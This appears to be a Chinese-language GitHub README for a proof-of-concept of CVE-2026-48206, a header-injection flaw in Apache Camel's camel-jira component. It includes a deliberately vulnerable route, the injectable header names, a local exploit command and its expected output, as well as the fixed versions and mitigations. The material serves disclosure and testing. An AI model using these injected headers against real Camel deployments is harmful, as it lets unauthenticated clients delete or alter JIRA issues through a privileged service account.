oscerd/CVE-2026-48206

GitHub: oscerd/CVE-2026-48206

CVE-2026-48206 漏洞复现项目,演示 Apache Camel camel-jira 组件因非 Camel 前缀消息头未过滤而导致的越权 JIRA 操作漏洞。

Stars: 0 | Forks: 0

# camel-jira Header 注入复现项目 (CVE-2026-48206) 本项目演示了 Apache Camel 的 `camel-jira` 组件中的一个**消息头注入**漏洞,追踪编号为 **CVE-2026-48206**。生产者从 Exchange 消息头中读取其操作参数 —— 例如 issue key、project key、transition id、 summary、assignee 等。在 `JiraConstants` 中定义的 header 常量 (例如 `ISSUE_KEY = IssueKey`、`ISSUE_PROJECT_KEY = ProjectKey`、`ISSUE_TRANSITION_ID = IssueTransitionId`、 `LINK_TYPE = linkType`)使用了普通的、非 `Camel` 前缀的值。由于这些名称不以 `Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它仅在 HTTP 边界屏蔽 Camel 的 header 命名空间 —— 使得它们能够直接从入站 HTTP 请求传入 Exchange。 在将 HTTP 消费者(例如 platform-http)桥接到 `jira:` 生产者的路由中,任何 HTTP 客户端都可以 提供这些 header 并**覆盖路由原本预期的值**,从而**使用 endpoint 配置的服务账号凭据**驱动 JIRA 操作 —— 例如删除或流转任意 issue(通过 `IssueKey` / `IssueTransitionId`)、在不同项目中创建 issue (通过 `ProjectKey`)、修改字段,或添加/移除关注者。这些操作仅受限于 该服务账号被授予的权限。 此 PoC 将其影响演示为**通过用户控制的 key 绕过授权 (CWE-639)**: 攻击者注入 `IssueKey`,然后服务账号删除了调用者原本无权触碰的 issue。 安全公告:https://camel.apache.org/security/CVE-2026-48206.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-jira` | | **受影响的类** | `org.apache.camel.component.jira.producer.*` 读取 `JiraConstants.ISSUE_KEY` (`"IssueKey"`)、`ISSUE_PROJECT_KEY` (`"ProjectKey"`) 等。 | | **CWE** | CWE-20 (输入验证不恰当) / CWE-639 (通过用户控制的 key 绕过授权) | | **影响** | 使用 endpoint 的服务账号凭据驱动任意 JIRA 操作(删除/流转/创建/修改) | | **前置条件** | 路由将 HTTP 消费者桥接到 `jira:` 生产者;当消费者未经过身份验证时即为未授权状态 | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23576 (PR [apache/camel#23417](https://github.com/apache/camel/pull/23417)) | | **致谢** | Yu Bao (PayPal) | ## 技术细节 ``` // JiraConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings: String ISSUE_KEY = "IssueKey"; String ISSUE_PROJECT_KEY = "ProjectKey"; // DeleteIssueProducer.process (affected 4.18.2) — the target issue comes straight from the header: String issueKey = exchange.getIn().getHeader(ISSUE_KEY, String.class); // attacker-controlled ... IssueRestClient issueClient = client.getIssueClient(); issueClient.deleteIssue(issueKey, true); // deletes whatever issue the header names ``` 修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23576)将这些值重命名为 `CamelJira*` 命名规范。 ## 受害者路由 ``` from("platform-http:/deleteMyDraft") .choice().when(header("IssueKey").isNull()) .setHeader("IssueKey", constant("DRAFT-1")) // default: the caller's own draft .end() .to("jira:deleteIssue?jiraUrl=RAW(http://localhost:8080)&username=svc-account&password=svc-secret"); ``` 一个“删除我的草稿” endpoint 默认指向调用者自己的草稿,但接受显式指定的 `IssueKey`。 作者假设客户端无法选择 issue;攻击者设置了 `IssueKey`,然后高权限服务账号 将其删除。(`IssueKey` 是通过精确且不区分大小写的名称读取的,因此 servlet 容器的 header 小写化不会 影响它 —— 仅有 platform-http 就足够了。) ## 仓库布局 所有内容都在一个独立的 container 中运行:受害者路由、生产者调用的 mock JIRA REST API, 以及攻击者驱动程序。 ``` CVE-2026-48206/ ├── pom.xml # camel-platform-http + camel-jira 4.18.2 (Jersey pinned to 2.x, see note) ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── MockJiraController.java # stand-in JIRA REST API; records which issue was deleted │ ├── VictimRoute.java # platform-http:/deleteMyDraft -> jira:deleteIssue │ └── ExploitController.java # attacker: injects IssueKey=PROD-999 └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose - Java 17+ 和 Maven 3.8+ ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` === 1) Legitimate request (no IssueKey header) — deletes the caller's own draft === jira issue actually deleted: DRAFT-1 === 2) Injected IssueKey=PROD-999 — deletes an arbitrary issue === jira issue actually deleted: PROD-999 authorization bypass: true >>> Header-injection proof — an unauthenticated HTTP client made the service account delete an >>> issue of its choosing by injecting the IssueKey header: true ``` ## 攻击向量 任何将 HTTP 消费者桥接到 `jira:` 生产者的路由。可注入的 header 包括 `IssueKey`、 `ProjectKey`、`IssueTransitionId`、`IssueSummary`、`IssueAssignee`、`IssueComponents`、`IssueWatchersAdd`、 `linkType`、`minutesSpent` 等 —— 使用服务账号的权限驱动删除、流转、创建、更新、关注者和工作日志 操作。 ## 推荐修复方案 升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23576)。升级后,通过 header 驱动 JIRA 操作的路由必须 使用 `CamelJira*` 名称(例如 `CamelJiraIssueKey`)。 ## 缓解措施 在升级之前,请从 `jira:` 生产者之前的任何不可信入站流量中剥离 camel-jira 控制 header(例如 在路由开始处移除 `IssueKey`、`ProjectKey`、`IssueTransitionId` 及相关 header),并且 从可信来源设置所需的 JIRA 操作参数。 ## 免责声明 此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露 且已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, HTTP请求头注入, JIRA集成, JS文件枚举, PoC, 域名枚举, 暴力破解, 漏洞复现, 版权保护, 请求拦截, 越权漏洞